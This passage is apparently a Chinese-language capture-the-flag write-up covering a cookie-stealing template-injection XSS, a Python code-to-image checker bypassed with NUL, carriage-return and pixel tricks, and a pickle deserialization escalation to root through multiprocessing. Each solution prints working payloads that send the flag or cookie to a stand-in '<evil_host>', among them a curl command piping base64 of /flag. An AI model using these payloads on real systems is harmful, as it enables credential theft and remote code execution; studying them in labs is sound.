container.innerHTML = urlParams.get('html').replace(`{{${get(urlParams.get('keypath'))}}}`, get(urlParams.get('valuepath')));
```
這裡是主要的 render 邏輯:
1. 將 url parameters 中的 `key` 值存到隱藏的 `<input id=key>`
2. 將 url parameters 中的 `value` 值存到隱藏的 `<input id=value>`
3. 根據 url parameters 中的 `keypath` 值,使用自訂的 `get()` 取得一個 Object。
4. 根據 url parameters 中的 `valuepath` 值,使用自訂的 `get()` 取得一個 Object。
5. 將 url parameters 中的 `html` 值作為 Template,使用步驟 3 / 4 的 key / value 做取代。
6. 將 render 好的 Template 設為 container 的 innerHTML 顯示出來。
> 這裡乍看之下會有點奇怪,程式直接使用 `key`、`value`、`container` 等 Global variable 取得對應 id 的 DOM node。但事實上這是 **[HTML 5 的標準](https://html.spec.whatwg.org/multipage/nav-history-apis.html#named-access-on-the-window-object)**:
> ```
> window[name]
>
> Returns the indicated element or collection of elements.
>
> As a general rule, relying on this will lead to brittle code.
> Which IDs end up mapping to this API can vary over time,
> as new features are added to the web platform, for example.
> Instead of this, use document.getElementById() or document.querySelector().
> ```
### 弱點分析
#### bot.js
```javascript=18
await page.setCookie({
name: "FLAG",
value: FLAG,
domain: DOMAIN,
sameSite: "None",
secure: true
})
```
可以發現 Bot 在瀏覽網頁前將 FLAG 設為了 cookie。而且沒有設定 HTTP Only,因此可以透過 `document.cookie` 取得。
#### render.html
```javascript=27
const get = path => {
return path.split('/').reduce((obj, key) => obj[key], document.all)
}
```
程式透過解析 `keypath` 與 `valuepath` 來取得特定物件。
例如 `keypath=key/value`,`get()` 的 return value 為 `document.all['key']['value']`。
因此我們可以透過精心製作的 `keypath` / `valuepath` 來取得任意 object。
如此一來,render 時取代的目標及內容,將不必再是 `key.vlaue` / `value.value`。
### <small>Solution </small><br>Template Injection Attack
#### template
```htmlmixed
<img src="https://<evil_host>/?{{FLAG}}">
```
目標是將 `{{FLAG}}` 取代為 `document.cookie`,並用 `<img>` 向 `<evil_host>` 發送請求。
#### crafted valuepath
```javascript
0/parentNode/cookie
```
經過 `get()` 以後將可以取得 FLAG:
- `0` : `document.all['0']` => `<html>`
- `parentNode` : `<html>['parentNode']` => `document`
- `cookie` : `document['cookie']` => `"FLAG=FLAG{XXXXXXXX}"`
#### exploit
```
http://<host>/render?
html=<img%20src="https://<evil_host>/?{{FLAG}}">
&key=FLAG
&value=WHATEVER
&keypath=key/value
&valuepath=0/parentNode/cookie
```
瀏覽該頁面點擊 `report` 按鈕,`<evil_host>` 便會收到來自 bot 瀏覽網頁時產生的請求。
請求的 url parameter 將會包含 FLAG : `FLAG{n0w_Y0u%27r3_tH3_m45T3r_0f_trU4T_tYp3_aNd_1Fr4m3!}`
### <small>TL;DR </small><br>Bonus & Murmur
收到的 cookie 還包含一段文字:
`Bonus=What_if_innerHTML_become_innerText`
目前的想法只有 `String.replace()` 的第二個參數可以是 function,會在有 match 時被 invoke。
```javascript
"abcd".replace( "bc", console.log );
```
會印出 `bc 1 abcd`。但還沒有想到可以怎麼利用。
此外,FLAG 說我是 iFrame 大師了,但我也沒有使用到 `<ifram>`,該不會又是非預期解?
## Veronese <small>[misc]</small>
此題提供一個上傳 Python code 的網站,網站可以幫你把 code 轉成 image;也可以在 code 通過檢查時幫你執行。
### 程式碼分析
#### app.py
```python=17
@app.route("/to_image", methods=["POST"])
def to_image():
...
```
這個 router 會根據使用者上傳的 code 轉換出對應的 image。
```python=31
@app.route("/exec", methods=["POST"])
def exec():
...
```
這個 router 使用者需要同時上傳 2 個檔案:`code` 與 `image`。
- Server 會先將 `code` 轉成 `image2`,並將 `image` 與 `image2` 做比較,檢查是否相同。
- 接著再將 `image2` 轉成 `code2`,檢查 `code2` 是否為 docstring。
- 最後執行 `code`。
#### utils.py
```python=17
def texts_to_image(texts: Union[list[str], list[bytes]],
rows: int = 3,
cols: int = MAX_LEN) -> Optional[Image.Image]:
...
```
這個 function 用於將 code 轉成 image,對於 code 有限制:
1. 最多 3 行
2. 編碼只能是 ASCII
```python=41
def image_to_texts(img: Image.Image,
rows: int = 3,
cols: int = MAX_LEN) -> list[str]:
...
```
這個 function 用於將 image 轉成 code,同樣有限制:
1. 最多 3 行
2. 只能辨識 `ACCEPTABLE_ASCII` 中的字元
```python=61
def is_docstring(texts: list[str]) -> bool:
...
```
這個 function 用於檢查 code 是否為 docstring,具體條件有:
1. code 必須恰好 3 行
2. 頭尾兩行皆只能是 `'''`
3. 中間那行不能出現 `'`
### 弱點分析
#### utils.py
```python=24
font = ImageFont.truetype(FONT_FILE, FONT_SIZE)
```
程式所使用的字體 `Inconsolata` 對於不可視字元 ( i.e., `\r` , `\x00` , ... ) 皆為空白。
因此若 code 中包含 `\n` 以外的不可視字元,轉成 image 時都相當於一個空白 ( `\x20` )。
```python=53
for char, char_img in char_map.items():
if is_same_image(char_img, target_img):
texts[-1] += char
break
```
程式將 image 轉換成 code 的過程中,如果遇到無法辨識的部分,將會選擇直接忽視。
並繼續下一個圖片區塊的辨識。只有辨識成功時,才會將該字元加入 code。
```python=57
texts[-1] = texts[-1].strip()
```
每次辨識完一行 code,程式還會很貼心地將該行頭尾的空白去除。
#### app.py
```python=21
texts = request.files["code"].readlines()
```
而且所謂 code 的行數,是將 `\n` 作為一行的結尾。`\r\n` 也是一行,但 `\r` 就不是一行的結束。
以上條件足以讓我們精心製作出一種 `code`,使得:
- `code` `!=` `image_to_texts( texts_to_image( code ) )`
例如:
```shell
$ echo -e "a = 1\r+ 1\nb = 1\r- 1\nprint(a * b)" > code.py
```
上傳 `code.py` 至網站 `/to_image` 得到的 image 為:

轉回 code 後變成:
```python=
a = 1 + 1
b = 1 - 1
print(a * b)
```
因為 `\r` 在轉換過程中被視為 `\x20` 了。
然而對於 Python Interpreter 而言,原本的 `code.py` 應該解讀成:
```python=
a = 1
+ 1
b = 1
- 1
print(a * b)
```
> 這是 Python 的規範,根據 **[官方文件](https://docs.python.org/3/reference/lexical_analysis.html#physical-lines)**,
> 不論何種平台,都應該將 `\n`、`\r\n`、`\r` 視作一行的結束。
> ```
> The Unix form using ASCII LF (linefeed), the Windows form using
> the ASCII sequence CR LF (return followed by linefeed), or the
> old Macintosh form using the ASCII CR (return) character. All of
> these forms can be used equally, regardless of platform.
兩者的行為、結果明顯不同。
### <small>Solution #1 </small><br>NUL Attack
對於 CPython Interpreter 而言,有一個有趣的特性,當一行中遇到 `\0`,該行將被截斷並捨棄,包含最後的 `\n` 也會被當作不存在一樣(此行與下行將視做同行)。
```shell
$ echo -e "a = 1\x00+ 2\n2\x00* 2\r+ 3\r\nprint(a)" > code.py
```
上傳 `code.py` 至網站 `/to_image` 得到的 image 為:

但實際上 CPython 會將其解讀成
```python3=
a = 12+ 3
print(a)
```
```shell
$ python3 code.py
15
```
利用這個特性,精心製作一種 `code` 像是:
```=
\x00'''
print(123)
\x00'''
```
便可以通過 docstring 檢查,並執行 `print(123)`。
#### exploit
將上述 `print(123)`,替換成:
```python3=
__import__(
"urllib",
fromlist=["request"]
).request.urlopen(
"http://<evil_host>?a=" + open("flag").read()
)
```
的一行文版本,即可做成 payload。
```shell
$ echo -e "\x00'''\n__import__(\"urllib\", fromlist=[\"request\"]).request.urlopen(\"http://<evil_host>?a=\" + open(\"flag\").read())\n\x00'''" > code.py
```
先將 `code.py` 丟到 `/to_image` 後,再將得到的 image 一起丟到 `/exec` 就可以在 `<evil_host>` 收到包含 FLAG 的請求。
### <small>Solution #2 </small><br>Dirty Pixel Attack
這個攻擊的成因很簡單,某些字元的腳太長了 ( i.e., `p` ),轉成 image 後污染了正下方字元的某些 pixel,導致該 image 在轉回 code 時,有些字元無法辨識,進而直接被捨棄。
```python=
s = 'p p ppp p'
a = 12 + 34 + 56
print(a)
```
在轉換成 image 又轉回 code 後變成了:
```python=
s = 'p p ppp p'
a = 1 + 45
print(a)
```
可以發現原 code 中 `p` 正底下的字元都因為被污染而捨棄。
#### exploit
```python3=
'''
ppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppp
'''f'{__import__("urllib", fromlist=["request"]).request.urlopen("http://<evil_host>/?a=" + open("flag").read())}'
```
> 最後記得要換行,因為程式會在 code 最後加上一行 `def foo(): pass\n`。
## Monsieur de Paris <small>[misc]</small>
這是我這次有解出來的題目中,覺得最有趣的一題。
題目簡單暴力,給網站一份 Python code,網站就會直接幫你執行。
### 程式碼分析
#### app.py
```python=25
@app.post('/exec')
def do_exec():
code = request.json.get('code', '')
p = multiprocessing.Pool(processes=1)
result = p.apply_async(run, (code,))
```
網站使用了 `multiprocessing.Pool` 的 `apply_async()` 方法呼叫 `run` 執行我們的 code。
```python=30
try:
return str(result.get(timeout=1)), 200
except multiprocessing.TimeoutError:
p.terminate()
return 'err: timeout', 500
except Exception as e:
return f"err: {e}", 500
```
並將 `run()` 的回傳值顯示在網頁上。若是執行過程中出現例外,也會將原因顯示出來。
```python=9
def run(code):
os.setgid(65534)
os.setuid(65534)
import contextlib
import io
with contextlib.redirect_stdout(io.StringIO()) as f:
exec(code, {})
return f.getvalue()
```
執行我們的 code 之前,程式會捨棄 root 的身份,這將導致我們無法直接讀取 `/flag` 這個檔案。
```shell
# ls -l / | grep flag
-r-------- 1 root root 26 Jan 8 03:03 flag
```
### 弱點分析
一切可以從 `multiprocessing.Pool` 這個 class 說起。
當 `Pool` 被建立時, `Pool.__init__()` 大概依序做了以下幾件事情:
(省略與題目較無關的部分)
#### 1. 根據 `process=n` 這個參數,建立 $n$ 個 `Process`。
這個 `Process` 的 class 在不同的平台上,實作不完全相同。
以題目的 UNIX 環境來說,`Process` 其實是 `ForkProcess`。
[multiprocessing/context.py](https://github.com/python/cpython/blob/61f12b8ff7073064040ff0e6220150408d24829b/Lib/multiprocessing/context.py#L302)
```python=302
class ForkContext(BaseContext):
_name = 'fork'
Process = ForkProcess
```
這些 `Process` 將作為 `Pool` 的 worker,執行等待中的 task。
#### 2. 呼叫 `Process.start()`
各種版本的 `Process` 間,其中之一的差異在於 `_Popen()` 的實作不同。而 `_Popen()` 會在 `Process.start()` 時被呼叫。
[multiprocessing/popen_fork.py](https://github.com/python/cpython/blob/61f12b8ff7073064040ff0e6220150408d24829b/Lib/multiprocessing/popen_fork.py#L64)
```python=64
parent_r, child_w = os.pipe()
child_r, parent_w = os.pipe()
self.pid = os.fork()
if self.pid == 0:
try:
os.close(parent_r)
os.close(parent_w)
code = process_obj._bootstrap(parent_sentinel=child_r)
finally:
os._exit(code)
else:
os.close(child_w)
os.close(child_r)
self.finalizer = util.Finalize(self, util.close_fds,
(parent_r, parent_w,))
self.sentinel = parent_r
```
可以在 66 行看到,`_Popen()` 會透過 `os.fork()` 產生 child process。
而且 child 會在第 71 行開始從 task queue 尋找可以執行的目標。
當再也不會有 task 需要被執行時,child 便會直接 exit。
而 parent 則會繼續建立 `Pool` 的步驟。
#### 3. 建立一個 `Thread` 負責接收 async tasks
事實上不論是否 async,所有加入 pool 的 task 都是透過這裡。
sync task 只是在加入以後立刻 block wait 而已。
[multiprocessing/pool.py](https://github.com/python/cpython/blob/61f12b8ff7073064040ff0e6220150408d24829b/Lib/multiprocessing/pool.py#L238)
```python=238
self._task_handler = threading.Thread(
target=Pool._handle_tasks,
args=(self._taskqueue, self._quick_put, self._outqueue,
self._pool, self._cache)
)
```
接收到的 task 便會加入 task queue 等待 worker 來執行。
#### 4. 建立另一個 `Thread` 負責處理完成的 tasks
當 worker 完成一個 task 後,會將該 task 放入 result queue。
[multiprocessing/pool.py](https://github.com/python/cpython/blob/61f12b8ff7073064040ff0e6220150408d24829b/Lib/multiprocessing/pool.py#L247)
```python=247
self._result_handler = threading.Thread(
target=Pool._handle_results,
args=(self._outqueue, self._quick_get, self._cache)
)
```
這個 thread 負責從 result queue 中取得完成的 task。
#### 弱點 #1
因為 `setuid()` 與 `setgid()` 是在 `run()` 被呼叫,而 `run()` 又是被 child process 的 worker 呼叫。
所以其實 parent 仍然是 root。
#### 弱點 #2
不是只有正常結束的 task 才會有 result;產生 exception 的 task 也會將 exception 做包裝後,當作該 task 的 result。
[multiprocessing/pool.py](https://github.com/python/cpython/blob/61f12b8ff7073064040ff0e6220150408d24829b/Lib/multiprocessing/pool.py#L124)
```python=124
try:
result = (True, func(*args, **kwds))
except Exception as e:
if wrap_exception and func is not _helper_reraises_exception:
e = ExceptionWithTraceback(e, e.__traceback__)
result = (False, e)
```
第 125 行執行 task,若是出現 exception `e`。
那麼 `e` 就會在 128 行被 `ExceptionWithTraceback` 包裝後當作 `result`。
[multiprocessing/pool.py](https://github.com/python/cpython/blob/61f12b8ff7073064040ff0e6220150408d24829b/Lib/multiprocessing/pool.py#L131)
```python=131
put((job, i, result))
```
之後 `result` 會使用 `put()` 送到 result queue 中。
這個 `put()` 實際上是 `multiprocessing.queues.SimpleQueue.put()`
[multiprocessing/queues.py](https://github.com/python/cpython/blob/main/Lib/multiprocessing/queues.py#L371)
```python=371
def put(self, obj):
# serialize the data before acquiring the lock
obj = _ForkingPickler.dumps(obj)
if self._wlock is None:
# writes to a message oriented win32 pipe are atomic
self._writer.send_bytes(obj)
else:
with self._wlock:
self._writer.send_bytes(obj)
```
可以看到 `obj` 首先會被 `pickle.dumps` 序列化以後,才以 byte 的形式送出。
以便之後負責處理 result 的 thread 來接收。
[multiprocessing/pool.py](https://github.com/python/cpython/blob/61f12b8ff7073064040ff0e6220150408d24829b/Lib/multiprocessing/pool.py#L574)
```python=574
def _handle_results(outqueue, get, cache):
thread = threading.current_thread()
while 1:
try:
task = get()
except (OSError, EOFError):
util.debug('result handler got EOFError/OSError -- exiting')
return
```
第 579 行,負責處理的 thread 使用 `get()` 來取得 result。
這個 `get()` 實際上是 `multiprocessing.connection._ConnectionBase.recv()`。
[multiprocessing/connection.py](https://github.com/python/cpython/blob/main/Lib/multiprocessing/connection.py#L245)
```python=245
def recv(self):
"""Receive a (picklable) object"""
self._check_closed()
self._check_readable()
buf = self._recv_bytes()
return _ForkingPickler.loads(buf.getbuffer())
```
看得出來在接收 byte 以後,使用了 `pickle.loads()` 反序列化,得到 task 的 result。
總結來說,因為處理 result 的 thread 位於 parent process,所以序列化相關的攻擊可以被應用。
### <small>Solution </small><br>Serialization Attack
因為 parent process 保有 root 權限,所以利用 task 的 exception 會作為 result,並在 parent process 的 thread 被 deserialize 這點。精心製作一個可被反序列化的 Exception 子類別,並在 task 中 raise,進而達到有 root 權限的 RCE。
#### exploit
```python=
class A(Exception):
def __reduce__(self):
import os
return (os.system, ('curl http://<evil_host>?flag=`base64 /flag`',))
raise A
```
給網站執行後,就可以在 `<evil_host>` 收到帶有 FLAG 的請求。
有趣的是,這個 FLAG 中間包含空白,所以先 `base64` 後方便傳送。
### <small>TL;DR </small><br> Murmur
看到題目的第一眼,會很直覺的想要提權;但再看第二眼就會覺得這個想法是 0-Day,開始懷疑人生。
稍微冷靜以後,又會想到可以利用有 SUID 的 binaries。
```shell
# find / -perm -u=s -type f 2>/dev/null
/bin/mount
/bin/umount
/bin/su
/usr/bin/newgrp
/usr/bin/gpasswd
/usr/bin/passwd
/usr/bin/chfn
/usr/bin/chsh
/usr/lib/openssh/ssh-keysign
```
稍微試了一下,似乎沒有發現可以利用的。
接著看了看 `Dockerfile` :
```Dockerfile=5
RUN echo "FLAG{this_is_a_fake_flag}" > /flag
```
發現 FLAG 會在 build image 的過程中作為字串裸奔,因此可以在 Docker Engine API 的 `/{api_version}/images/{name}/history` 中挖到。
不過有個條件是 container 內必須連得到 `/var/run/docker.sock`,這並非 `docker run` 的預設行為,而且通常要寫入這個 sock 也必須是 root。
雖然因為題目只有提供 Dockerfile,所以並不能確定該 service 建立的參數細節,但經過測試上述辦法都不太可行。
###### tags: `NYCU`, `NTU`